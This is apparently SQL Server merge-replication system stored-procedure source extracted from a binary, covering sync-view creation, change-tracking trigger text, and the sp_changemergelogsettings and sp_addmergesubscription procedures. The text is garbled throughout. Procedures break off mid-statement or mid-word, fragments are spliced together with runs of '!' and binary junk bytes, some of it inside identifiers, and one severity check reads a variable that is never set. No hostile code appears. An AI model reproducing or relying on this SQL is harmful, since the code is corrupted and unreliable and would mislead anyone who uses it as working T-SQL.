                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''UPDATE'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''INSERT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''DELETE''))=1)'
                        set @partition_inserted_view_rule = ' select ' + @partition_column_list + ', partition_id = -1 from inserted ' + @unqual_sourcename + ' where  ('+ @bool_filterclause + ')'
                        set @partition_deleted_view_rule = ' select ' + @partition_column_list + ', partition_id = -1 from deleted ' + @unqual_sourcename + ' where ('+ @bool_filterclause + ')'
                    end        
                end
            end
                           
            select @viewname = 'MSmerge_' + @publication + '_' + @article + '_VIEW'
            if (len(@viewname) > 128)
            begin
                select @viewname = sys.fn_MSmerge_get_syncview_name (@publication, @article, @pubid, @artid)
            end
            select @quoted_obj = QUOTENAME(@viewname)

            -- drop the view if it already exists
            if object_id(@quoted_obj) is not NULL
            begin
                exec('drop view ' + @quoted_obj)
                if @@ERROR <> 0 
                    goto FAILURE 
            end
                        
            /* If we havent generated rowguidcol yet, use dummy rule that doesnt refer to it */
            if @hasguid = 0
                set @view_rule = ' select ' + @column_list + ' from '+ @source_object + ' ' + @unqual_sourcename +
                                            ' where ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1)'
            exec ('create view dbo.'+ @quoted_obj + ' as '+ @view_rule)
            if @@ERROR<>0
                goto FAILURE

            /* grant select permission on sync view to public - security check is performed inside the view */ 
            exec ('grant select on ' + @quoted_obj + ' to public')
            if @@ERROR<>0
                goto FAILURE
            /* Mark view as system object */                        
            execute dbo.sp_MS_marksystemobject @quoted_obj
            if @@ERROR<>0
                goto FAILURE

            /* done in setartprocs no need to repeat it here
            if @hasguid = 1
            begin
                select @procname=view_sel_proc from dbo.sysmergearticles where pubid=@pubid and artid=@artid
                if object_id(@procname) is not NULL
                begin
                    set @quoted_obj= quotename(@procname)
                    exec ('drop procedure ' + @quoted_obj)
                    update dbo.sysmergearticles set view_sel_proc = NULL where artid = @artid and pubid = @pubid 
                end
                else
                begin
                    set @procname = 'MSmerge_sel_' + sys.fn_MSmerge_getartprocsuffix(@artid, @pubid)
                end

                select @owner = SCHEMA_NAME(schema_id) from sys.objects 
                    where name = @viewname 
                exec sys.sp_MSmakeviewproc @viewname, @owner, @procname, @rgcol, @pubid, @artid
                if @retcode<>0 or @@ERROR<>0
                    goto FAILURE
                update dbo.sysmergearticles set view_sel_proc = @procname where pubid=@pubid and artid=@artid
            end*/

            select @quoted_obj = QUOTENAME(@viewname)
            
            update dbo.sysmergearticles set sync_objid = OBJECT_ID (@quoted_obj), view_type = @permanent
                where artid = @artid and pubid = @pubid 
            
            if @before_name is not null and @before_view_rule is not null
            begin
                exec @retcode = sys.sp_MScreatebeforetable @source_objid
                if @@ERROR <>0 OR @retcode <>0 goto FAILURE

                set @quoted_obj= quotename(@before_viewname)
            
                if object_id(@before_viewname) is not NULL
                    exec ('drop view ' + @quoted_obj)                
            
                set @before_view_rule= @before_view_rule + ') and ({ fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''') } = 1)'
                
                exec ('create view dbo.' + @quoted_obj + ' as ' + @before_view_rule)
                if @@ERROR<>0
                    goto FAILURE

                if @before_rowguidname is not NULL
                begin
                    set @quoted_rowguid= quotename(@before_rowguidname)
                    exec ('grant select (' + @quoted_rowguid + ') on '+ @quoted_obj + ' to public')
                    if @@ERROR<>0
                        goto FAILURE
                end

                exec ('grant select (generation) on '+ @quoted_obj + ' to public')
                if @@ERROR<>0
                    goto FAILURE
                
                execute dbo.sp_MS_marksystemobject @before_viewname
                if @@ERROR<>0
                    goto FAILURE
                update dbo.sysmergearticles set before_view_objid = OBJECT_ID (@before_viewname)
                    where a!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(B3		v$<rtid = @artid and pubid = @pubid
            end
        end
        else 
        begin
            -- All rows qualify from this table. We still create a view that shows -1 as the partition id. This helps us conveniently
            -- join child table rows if there are join filters, and find the part id's (-1 in this case) for only the qualifying child rows.
            if @use_partition_groups = 1
            begin
                if @column_list = ' * '
                        select @column_list = ' ' + @unqual_sourcename + '.* '
                
                set @partition_view_rule = ' select ' + @partition_column_list + ', partition_id = -1 from ' + @source_object + ' ' + @unqual_sourcename +
                                                    ' where ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1 
							   or (HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''SELECT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''UPDATE'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''INSERT'')
                                                    | HAS_PERMS_BY_NAME(''' + @unqual_sourcename2+''', ''OBJECT'', ''DELETE''))=1)'
                                                    
                set @partition_inserted_view_rule = ' select ' + @partition_column_list + ', partition_id = -1 from inserted ' + @unqual_sourcename + '  '
                set @partition_deleted_view_rule = ' select ' + @partition_column_list + ', partition_id = -1 from deleted ' + @unqual_sourcename
            end

            select @sync_objid = @source_objid
            if @vertical_partition=1 and @column_list<> ' * '
            begin
                select @viewname = 'MSmerge_' + @publication + '_' + @article + '_VIEW'
                if (len(@viewname) > 128)
                begin
                    select @viewname = sys.fn_MSmerge_get_syncview_name (@publication, @article, @pubid, @artid)
                end
                select @quoted_obj = QUOTENAME(@viewname)
                
                -- drop the view if it already exists
                if object_id(@quoted_obj) is not NULL
                begin
                    exec ('drop view ' + @quoted_obj)
                    if @retcode <> 0 or @@ERROR <> 0 
                        goto FAILURE 
                end
                set @view_rule = ' select ' + @column_list + ' from '+ @source_object + ' ' + @unqual_sourcename + 
                            ' where ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1)'

                exec ('create view dbo.'+ @quoted_obj + ' as '+ @view_rule)
                if @@ERROR<>0
                    goto FAILURE
                execute dbo.sp_MS_marksystemobject @quoted_obj
                if @@ERROR<>0
                    goto FAILURE

                /* grant select permission on sync view to public - security check is performed inside the view */ 
                exec ('grant select on ' + @quoted_obj + ' to public')
                if @@ERROR<>0
                    goto FAILURE
                select @sync_objid=object_id(@quoted_obj)
                update dbo.sysmergearticles set view_sel_proc = @procname, sync_objid=@sync_objid
                    where artid = @artid and pubid = @pubid 
            end
            else -- if @dynamic_filters = 1
            begin
                /* This article doesn't have any vertical or horizontal filters but if the publication is enabled for dynamic filtering, 
                        we still want to generate a dummy view so that logins in the publication access list can generate a dynamic snapshot. */
                /* do this even for publications without dynamic filtering so that this view can be used for validation */
                select @viewname = 'MSmerge_' + @publication + '_' + @article + '_VIEW'
                if (len(@viewname) > 128)
                begin
                    select @viewname = sys.fn_MSmerge_get_syncview_name (@publication, @article, @pubid, @artid)
                end
                select @quoted_obj = QUOTENAME(@viewname)

                -- drop the view if it already exists
                if object_id(@quoted_obj) is not NULL
                begin
                    exec ('drop view ' + @quoted_obj)
                    if @@ERROR <> 0 
                        goto FAILURE 
                end
                set @view_rule = ' select  * from ' + @source_object  + ' where ({fn ISPALUSER(''' + convert(nvarchar(36), @pubid) + ''')} = 1)'     
                exec ('create view dbo.'+ @quoted_obj + ' as '+ @view_rule)
                if @@ERROR<>0
                    goto FAILURE
                execute dbo.sp_MS_marksystemobject @quoted_obj
                if @@ERROR<>0
                    goto FAILURE
                exec ('grant select on ' + @quoted_obj + ' to public')
                if @@ERROR<>0
                    goto FAILURE
                select @sync_objid=object_id(@quoted_obj)
                update dbo.sysmergearticles set view_sel_proc = @procname, sync_objid=@sync_objid, view_type = @permanent
                   where artid = @artid and pubid = @pubid 
            end

            /* done in sp_MSsetartprocs. No need to repeat it here
            if @hasguid = 1
            begin
                -- still make the select proc, although it selects directly from table
                if object_id(@procname) is not NULL
                begin
                    set @quoted_obj= quotename(@procname)
                    exec ('drop proc ' + @quoted_obj)
                    update dbo.sysmergearticles set view_sel_proc = NULL where artid = @artid and pubid = @pubid 
                end
            
                set @procname = 'MSmerge_sel_' + sys.fn_MSmerge_getartprocsuffix(@artid, @pubid)
                select @owner = SCHEMA_NAME(schema_id), @viewname = name from sys.objects 
                    where object_id = @sync_objid
                exec sys.sp_MSmakeviewproc @viewname, @owner, @procname, @rgcol, @pubid, @artid
                update dbo.sysmergearticles set view_sel_proc = @procname where pubid=@pubid and artid=@artid
            end*/
        end

        if @use_partition_groups = 1
        begin
                
            select @partition_view_name = 'MSmerge_' + @publication + '_' + @article + '_PARTITION_VIEW'
            if (len(@partition_view_name) > 128)
            begin
                select @partition_view_name = 'MSmerge_' + sys.fn_MSguidtostr(@pubid) + '_' + sys.fn_MSguidtostr(@artid) + '_PARTITION_VIEW'
            end
            select @quoted_partition_view = QUOTENAME(@partition_view_name)

            if object_id(@quoted_partition_view) is not NULL
            begin
                exec ('drop view ' + @quoted_partition_view)
                if @@error<>0 
                    goto FAILURE
            end
                   
            if @allhaveguids = 1
            begin
                exec ('create view dbo.'+ @quoted_partition_view + ' as '+ @partition_view_rule)
                if @@ERROR<>0
                    goto FAILURE
                /* grant select permission on sync view to public - security check is performed inside the view */ 
                exec ('grant select on ' + @quoted_partition_view + ' to public')
                if @@ERROR<>0
                    goto FAILURE
                /* Mark view as system object */                        
                execute dbo.sp_MS_marksystemobject @quoted_partition_view
                if @@ERROR<>0
                    goto FAILURE
                update dbo.sysmergepartitioninfo 
                    set partition_view_id = OBJECT_ID(@quoted_partition_view), 
                        partition_!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`< 
엌^$<deleted_view_rule = @partition_deleted_view_rule,
                        partition_inserted_view_rule = @partition_inserted_view_rule
                    where artid = @artid and pubid = @pubid 
            end
            else
            begin
                update dbo.sysmergepartitioninfo 
                    set partition_view_id = NULL, 
                        partition_deleted_view_rule = NULL,
                        partition_inserted_view_rule = NULL
                    where artid = @artid and pubid = @pubid 
            end
        end
        
        select @art=min(indexcol) from #art where indexcol>@art
    end

    drop table #art
    if @allhaveguids = 1
    begin
        declare @dbname sysname
        set @dbname = db_name()
        /* create the filter expand procs now */
        set @filter_id = 0
        select @filter_id = min(join_filterid) from dbo.sysmergesubsetfilters where
                pubid = @pubid and join_filterid > @filter_id and (filter_type & 1) = 1
        while @filter_id is not null
        begin
            set @filter_id_str = convert(nvarchar(10), @filter_id)
            select @procname = expand_proc
                from dbo.sysmergesubsetfilters where pubid = @pubid and join_filterid = @filter_id and (filter_type & 1) = 1
            /* drop old proc, or generate a new procname */
            if object_id(@procname) is not NULL
            begin
                set @quoted_obj= quotename(@procname)
                exec ('drop procedure ' + @quoted_obj)
            end
            else
            begin
                set @procname = 'MSmerge_expand_' + @filter_id_str
                set @quoted_obj= quotename(@procname)
                if object_id(@procname) is not NULL
                begin
                    exec ('drop procedure ' + @quoted_obj)
                    if @@error<>0 
                        goto FAILURE
                end
                update dbo.sysmergesubsetfilters set expand_proc = @procname 
                    where pubid = @pubid and join_filterid = @filter_id and (filter_type & 1) = 1
            end

            
            set @command = 'exec sys.sp_MSmakeexpandproc ' + quotename(@publication) + ' , ' + @filter_id_str + ', ' + @quoted_obj
            exec @retcode = sys.xp_execresultset @command, @dbname
            if @retcode <> 0 goto FAILURE

            exec dbo.sp_MS_marksystemobject @quoted_obj
            if @@ERROR<>0
                goto FAILURE

            exec ('grant execute on ' + @quoted_obj + ' to public ')
            select @filter_id = min(join_filterid) from dbo.sysmergesubsetfilters where
                pubid = @pubid and join_filterid > @filter_id and (filter_type & 1) = 1
        end
    end
    
    exec @retcode = sys.sp_MScreate_logical_record_views @pubid
    if @@error <> 0 or @retcode <> 0
        goto FAILURE

    commit tran
    return (0)

FAILURE: 
    rollback tran sp_MSpublicationview
    commit tran
    return (1)
in
		set @cmd= @cmd + '
		if @baserows_count > @metarows_count
		begin
			insert into dbo.MSmerge_rowtrack 
			(
				tablenick,
				rowguid,
				rowvector,
				changedcolumns,
				columns_enumeration,
				changetype,
				changed
			)
			select 
				@tablenick,
				rowguidcol,
				null,
				null,
				@COLUMNS_ENUMERATED_AllOnOtherReason,
				@METADATA_TYPE_InsertLightweight,
				sys.fn_MSdayasnumber(getdate())
			from inserted i
			where not exists (select rowguid from dbo.MSmerge_rowtrack 
								where tablenick = @tablenick and rowguid = i.rowguidcol)
		end'
	end -- 1=@inserttrigger
	else
	begin
		if 1=@column_tracking
		begin
			if @missingbm is null
			begin
				set @cmd= @cmd + '
				if @baserows_count > @metarows_count
				begin
					insert into dbo.MSmerge_rowtrack
					(
						tablenick, 
						rowguid, 
						changetype, 
						changedcolumns,
						columns_enumeration,
						changed
					)
					select 
						@tablenick, 
						rowguidcol, 
						@METADATA_TYPE_UpdateLightweight, 
						@bm,
						@COLUMNS_ENUMERATED_ChangedOnly,
						sys.fn_MSdayasnumber(getdate())
					from inserted i
					where not exists (select rowguid from dbo.MSmerge_rowtrack 
											where tablenick = @tablenick and rowguid = i.rowguidcol)
				end'
			end
			else
			begin
				set @cmd= @cmd + '
				if @baserows_count > @metarows_count
				begin
					insert into dbo.MSmerge_rowtrack
					(
						tablenick, 
						rowguid, 
						changetype, 
						changedcolumns,
						columns_enumeration,
						changed
					)
					select 
						@tablenick, 
						rowguidcol, 
						@METADATA_TYPE_UpdateLightweight, 
						@bm,
						@COLUMNS_ENUMERATED_ChangedOnly,
						sys.fn_MSdayasnumber(getdate())
					from inserted i
					where not exists (select rowguid from dbo.MSmerge_rowtrack 
											where tablenick = @tablenick and rowguid = i.rowguidcol)
				end'
			end
		end -- 1=@column_tracking
		else
		begin
			set @cmd= @cmd + '
			if @baserows_count > @metarows_count
			begin
				insert into dbo.MSmerge_rowtrack
				(
					tablenick, 
					rowguid, 
					changetype, 
					changedcolumns,
					columns_enumeration,
					changed
				)
				select 
					@tablenick, 
					rowguidcol, 
					@METADATA_TYPE_UpdateLightweight, 
					null,
					@COLUMNS_ENUMERATED_AllOnOtherReason,
					sys.fn_MSdayasnumber(getdate())
				from inserted i
				where not exists (select rowguid from dbo.MSmerge_rowtrack 
										where tablenick = @tablenick and rowguid = i.rowguidcol)
			end'
		end
	end

	set @cmd= @cmd + '
	
		return

Failure:
	if @@trancount > 0
		rollback tran
	return
	'

	exec @retcode= sys.sp_executesql @cmd
	if @@error <> 0 or @retcode <> 0 return 1

	return 0
lle rowguidcol = @rowguid)
		begin
			set @baserowexists= 1
		end
		else
		begin
			set @baserowexists= 0
		end

		if @@error <> 0 set @retcode= 1
	end
	'

	insert into @cmdtable (phase, cmdtext) values (10, @cmdpiece)

	-- @action=6: column information
	set @cmdpiece= '
	else if @action = 6
	begin
		select ' + @columnlist + ' from ' + @qualified_name + ' t where 1=2

		if @@error <> 0 set @retcode= 1
	end
	'

	insert into @cmdtable (phase, cmdtext) values (11, @cmdpiece)

	-- Procedure tail.
	set @cmdpiece= '
	return @retcode
'

	insert into @cmdtable (phase, cmdtext) values (12, @cmdpiece)

	-- Now we select out the command text pieces in proper order so that our caller,
	-- xp_execresultset, will execute the command that creates the stored procedure.
	select cmdtext from @cmdtable order by phase, step

	drop table #columnvaluequery

	return 0
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!u`<(!DTNv/create procedure sys.sp_changemergelogsettings (
    @publication        sysname = NULL, 	/* Publication name */
    @subscriber         sysname = NULL,     /* Subscriber server */
    @subscriber_db      sysname = NULL,     /* Subscription database */
    @support_options	int = NULL,
    @web_server			sysname = NULL, 
    @log_severity		int = NULL, 
    @log_modules		int = NULL, 
    @log_file_path		nvarchar(255) = NULL, 
    @log_file_name		sysname = NULL, 
    @log_file_size		int = NULL, 
    @no_of_log_files	int = NULL, 
    @upload_interval	int = NULL, 
    @delete_after_upload int = NULL,
    @custom_script	nvarchar(2000) = NULL,
    @message_pattern    nvarchar(2000) = NULL,
    @agent_xe    varbinary(max) = NULL,
    @agent_xe_ring_buffer    varbinary(max) = NULL,
    @sql_xe    varbinary(max) = NULL
    ) AS 

    declare @retcode                int
    declare @pubid                    uniqueidentifier
    declare @subid                    uniqueidentifier

    declare @log_sev_lobyte       int
    declare @log_sev_hibyte       int

    /*
    ** Security Check.
    */
    exec @retcode= sys.sp_MSreplcheck_subscribe
    if @@error <> 0 or @retcode <> 0
    begin
        raiserror(15247,-1,-1)
        return (1)
    end


    /*
    **    Check to see if current database is doing publishing/subscribing
    */
    IF object_id('sysmergesubscriptions') is NULL
    BEGIN
        RAISERROR (14055, 16, -1)
        RETURN (1)
    END

    /*
    ** Parameter Check:     @publication.
    ** Make sure that the publication exists.
    */

    IF @publication IS NULL
        BEGIN
            RAISERROR (14043, 16, -1, '@publication', 'sp_changemergelogsettings')
            RETURN (1)
        END

    select @pubid = pubid
       FROM dbo.sysmergepublications 
       WHERE name = @publication  and UPPER(publisher)=UPPER(publishingservername()) and publisher_db=db_name()
    IF @pubid IS NULL
    BEGIN
        RAISERROR (20026, 11, -1, @publication)
        RETURN (1)
    END

    
    /*
    ** Parameter Check:     @subscriber.
    ** Check to make sure we have a valid subscriber.
    */
    IF @subscriber IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@subscriber', 'sp_changemergelogsettings')
        RETURN (1)
    END
    
    /*
    ** Parameter Check:     @subscriber_db.
    ** Check to make sure we have a valid subscriber.
    */
    IF @subscriber_db IS NULL
    BEGIN
        RAISERROR (14043, 16, -1, '@subscriber_db', 'sp_changemergelogsettings')
        RETURN (1)
    END
        
    /*
    ** Check to see if you have a subscription on this publication
    */
    set @subid = NULL
    select @subid = subid, @pubid = pubid /* identified from publication name */
          from dbo.sysmergesubscriptions
        where UPPER(subscriber_server) collate database_default = UPPER(@subscriber) collate database_default
            and db_name = @subscriber_db
            
    if @subid IS NULL 
        begin
            RAISERROR (14050, 11, -1)
            RETURN(1)
        end                    

	if not exists (select * from dbo.MSmerge_supportability_settings
			    WHERE pubid = @pubid and subid = @subid and
			        ((@web_server IS NULL and web_server IS NULL) or (@web_server IS NOT NULL and
			        UPPER(web_server) collate database_default = UPPER(@web_server) collate database_default )))
    begin
	    RAISERROR (20718, 16, -1, @subscriber, @subscriber_db,@web_server)
        RETURN(1)
    end

    /*
    ** Parameter Check: all other parameters
    ** 
    */

    if (@support_options IS NOT NULL) and (@support_options < 0 or @support_options > 5)
    begin
        RAISERROR (20722, 16, -1, 'sp_changemergelogsettings', '@support_options')
        RETURN(1)
    end                    

    set @log_sev_lobyte = @log_severity & 0xF
    set @log_sev_lobyte = @log_severity & 0x0F
    
    if (@log_severity IS NOT NULL) and ((@log_sev_lobyte < 0 or @log_sev_lobyte > 5) or (@log_sev_hibyte < 0 or @log_sev_hibyte > 1))
    begin
        RAISERROR (20722, 16, -1, 'sp_changemergelogsettings', '@log_severity')
        RETURN(1)
    end                    

    if (@log_file_size IS NOT NULL) and (@log_file_size < 2000000 or @log_file_size > 999000000)
    begin
        RAISERROR (20722, 16, -1, 'sp_changemergelogsettings', '@log_file_size')
        RETURN(1)
    end                    

    if (@no_of_log_files IS NOT NULL) and (@no_of_log_files < 2 or @no_of_log_files > 500)
    begin
        RAISERROR (20722, 16, -1, 'sp_changemergelogsettings', '@no_of_log_files')
        RETURN(1)
    end                    

    if (@upload_interval IS NOT NULL) and (@upload_interval < 0 or @upload_interval > 40320)	-- 60 * 24 * 7 *4 (4 weeks)
    begin
        RAISERROR (20722, 16, -1, 'sp_changemergelogsettings', '@upload_interval')
        RETURN(1)
    end                    

    if (@delete_after_upload IS NOT NULL) and (@delete_after_upload not in (0,1))
    begin
        RAISERROR (20722, 16, -1, 'sp_changemergelogsettings', '@delete_after_upload')
        RETURN(1)
    end                    

    begin tran
    save TRAN changemergelogsettings

	update dbo.MSmerge_supportability_settings
		set support_options = case when (@support_options IS NULL) 		then support_options else @support_options end
		,log_severity 	    = case when (@log_severity IS NULL) 		then log_severity 	 else @log_severity end
		,log_modules 		= case when (@log_modules IS NULL) 		    then log_modules 	 else @log_modules end
		,log_file_path 		= case when (@log_file_path IS NULL) 		then log_file_path 	 else @log_file_path end
		,log_file_name 		= case when (@log_file_name IS NULL) 		then log_file_name 	 else @log_file_name end
		,log_file_size 		= case when (@log_file_size IS NULL) 		then log_file_size   else @log_file_size end
		,no_of_log_files 	= case when (@no_of_log_files IS NULL) 		then no_of_log_files else @no_of_log_files end
		,upload_interval 	= case when (@upload_interval IS NULL) 		then upload_interval else @upload_interval end
		,delete_after_upload    = case when (@delete_after_upload IS NULL) 	then delete_after_upload else @delete_after_upload end
		,custom_script          = case when (@custom_script IS NULL or @web_server IS NOT NULL) 	then custom_script else @custom_script end
		,message_pattern        = case when (@message_pattern IS NULL) 	        then message_pattern     else @message_pattern end
		,agent_xe              = case when (@agent_xe IS NULL) 	        then agent_xe else @agent_xe end
		,agent_xe_ring_buffer       = case when (@agent_xe_ring_buffer IS NULL) 	        then agent_xe_ring_buffer else @agent_xe_ring_buffer end
		,sql_xe                  = case when (@sql_xe IS NULL) 	            then sql_xe else @sql_xe end
	
    WHERE pubid = @pubid and subid = @subid and
        ((@web_server IS NULL and web_server IS NULL) or (@web_server IS NOT NULL and
        UPPER(web_server) collate database_default = UPPER(@web_server) collate database_default ))
	

    if @@ERROR <> 0
    BEGIN
        GOTO FAILURE
    END

	-- Get the subscriber out of supportability mode if there are no
	-- entries for the subscriber with support_options turned on.
	if not exists ( select * from dbo.MSmerge_supportability_settings
		WHERE pubid = @pubid and subid = @subid and
        support_options <> 0
		)
	begin
		update dbo.sysmergesubscriptions
			set supportability_mode = 0
		where subid = @subid and pubid = @pubid

	    if @@ERROR <> 0
	    BEGIN
	        GOTO FAILURE
	    END
	
	end
	else
	begin
		update dbo.sysmergesubscriptions
			set supportability_mode = 1
		where subid = @subid and pubid = @pubid

	    if @@ERROR <> 0
	    BEGIN
	        GOTO FAILURE
	    END
	end

    COMMIT TRAN
    return (0)

FAILURE:
    RAISERROR (20719, 16, -1)
    /* UNDONE : This code is specific to 6.X n!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<("eDr&vcreate procedure sys.sp_addmergesubscription (
    @publication                    sysname,                    /* Publication name */
    @subscriber                     sysname = NULL,                /* Subscriber server */
    @subscriber_db                  sysname = NULL,                /* Subscription database */
    @subscription_type              nvarchar(15) = 'push',            /* Subscription type - push, pull */ 
    @subscriber_type                nvarchar(15) = 'local',            /* Subscriber type */ 
    @subscription_priority          real        = NULL,                /* Subscription priority */
    @sync_type                      nvarchar(15) = 'automatic',        /* subscription sync type */
    @frequency_type                 int = NULL, -- defaults to 4
    @frequency_interval             int = NULL, -- defaults to 1
    @frequency_relative_interval    int = NULL, -- defaults to 1
    @frequency_recurrence_factor    int = NULL, -- defaults to 0
    @frequency_subday               int = NULL, -- defaults to 8
    @frequency_subday_interval      int = NULL, -- defaults to 1
    @active_start_time_of_day       int = NULL, -- defaults to 0
    @active_end_time_of_day         int = NULL, -- defaults to 235959
    @active_start_date              int = NULL, -- defaults to 0
    @active_end_date                int = NULL, -- defaults to 99991231
    @optional_command_line          nvarchar(4000) = NULL,
    @description                    nvarchar(255) = NULL,
    @enabled_for_syncmgr            nvarchar(5) = NULL, /* Enabled for SYNCMGR: true or false */
    -- Agent offload
    @offloadagent                   bit = 0,
    @offloadserver                  sysname = NULL,
    @use_interactive_resolver       nvarchar(5) = NULL,
    @merge_job_name                 sysname = NULL,
    @hostname                       sysname = NULL
    ) AS

    SET NOCOUNT ON

    /*
    ** Declarations.
    */
    declare @retcode                int
    declare @subnickname            binary(6)
    declare @priority               real
    declare @subid                  uniqueidentifier
    declare @pubid                  uniqueidentifier    /* Publication id */
    declare @subscriber_typeid      smallint
    declare @subscriber_srvid       int
    declare @merge_jobid            binary(16)            /* Scheduler jobid for the merge agent */
    declare @subscription_type_id   int      
    declare @distproc               nvarchar(300)
    declare @command                nvarchar(255)
    declare @inactive               tinyint
    declare @subscriber_bit         smallint
    declare @global                 tinyint        /* subscriber type is global */
    declare @push                   tinyint        /* subscription type is push */
    declare @sync_typeid            tinyint
    declare @nosync                 tinyint        
    declare @automatic              tinyint        
    declare @distributor            sysname
    declare @distribdb              sysname
    declare @publisher              sysname
    declare @publisher_db           sysname
    declare @found                  int
    declare @datasource_type        int
    DECLARE @platform_nt            binary
    declare @use_interactive_bit    bit
    declare @internal               sysname
    declare @REPOLEVersion_90           int
    			,@publishingservername sysname
    declare @compatlevel int
    
    /* make sure current database is enabled for merge replication */
    exec @retcode=sys.sp_MSCheckmergereplication
    if @@ERROR<>0 or @retcode<>0
        return (1)

    /*
    ** Initializations.
    */
    set @datasource_type = 0    /* Default SQL Server */
    set @platform_nt = 0x1    
    SET @nosync                = 2          /* Const: synchronization type 'none' */
    SET @automatic            = 1          /* Const: synchronization type 'automatic' */
    set @inactive            = 0
    SET @subscriber_bit        = 4     
    set @global                = 1
    set @push                = 0
    set @pubid                = NULL           
    set @publisher            = publishingservername()
    set @publisher_db        = DB_NAME()
    select @found            = 1       /* Any non-NULL value is fine */
    		,@publishingservername = publishingservername()
    set @REPOLEVersion_90    = 90
    
    /*
    ** Parameter Check: @subscription_type.
    ** Set subscriber_typeid based on the @subscription_type specified.
    **
    **     subscription_type      subscription_type
    **     =================      ===============
    **               0            push
    **               1            pull
    */
    if LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) NOT IN ('push', 'pull')
        BEGIN
            RAISERROR (14128, 16, -1)
            RETURN (1)
        END
    IF LOWER(@subscription_type collate SQL_Latin1_General_CP1_CS_AS) = 'push'
    BEGIN
        set @subscription_type_id = 0
    END
    ELSE
    BEGIN
        set @subscription_type_id = 1
    END

	/*
	** Parameter Check: @offloadagent.
	*/
	IF @offloadagent IS NOT NULL
		AND @offloadagent != 0
	BEGIN
		-- "Parameter '@offloadagent' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadagent')
		RETURN 1
	END

	IF ISNULL(@offloadserver, N'') != N''
	BEGIN
		-- "Parameter '@offloadserver' is no longer supported."
		RAISERROR(21698, 16, -1, '@offloadserver')
		RETURN 1
	END

    /*
    ** Security Check.
    */
    IF @subscription_type_id = 0 
    BEGIN
        exec @retcode = sys.sp_MSreplcheck_publish
        if @@ERROR <> 0 or @retcode <> 0
            return(1)
    END
    ELSE
    BEGIN
        exec @retcode = sys.sp_MSreplcheck_pull @publication
        if @@ERROR <> 0 or @retcode <> 0
        begin
            return(1)
        end
    END

	-- With the new security model a number of parameters are invalid
	IF sys.fn_yukonsecuritymodelrequired(NULL) = 1
	BEGIN
		IF @frequency_type IS NOT NULL
			OR @frequency_interval IS NOT NULL
			OR @frequency_relative_interval IS NOT NULL
			OR @frequency_recurrence_factor IS NOT NULL
			OR @frequency_subday IS NOT NULL
			OR @frequency_subday_interval IS NOT NULL
			OR @active_start_time_of_day IS NOT NULL
			OR @active_end_time_of_day IS NOT NULL
			OR @active_start_date IS NOT NULL
			OR @active_end_date IS NOT NULL
			OR @optional_command_line IS NOT NULL
			OR @enabled_for_syncmgr IS NOT NULL
			OR @merge_job_name IS NOT NULL
		BEGIN
			-- "The %s parameter(s) have been deprecated from this procedure. The value(s) should now be specified when calling '%s'."
			RAISERROR(21838, 10, -1, 'scheduling, optional command line, sync manager and merge job name', 'sp_addmergepushsubscription_agent'' or ''sp_addmergepullsubscription_agent')

			SELECT @frequency_type = NULL,
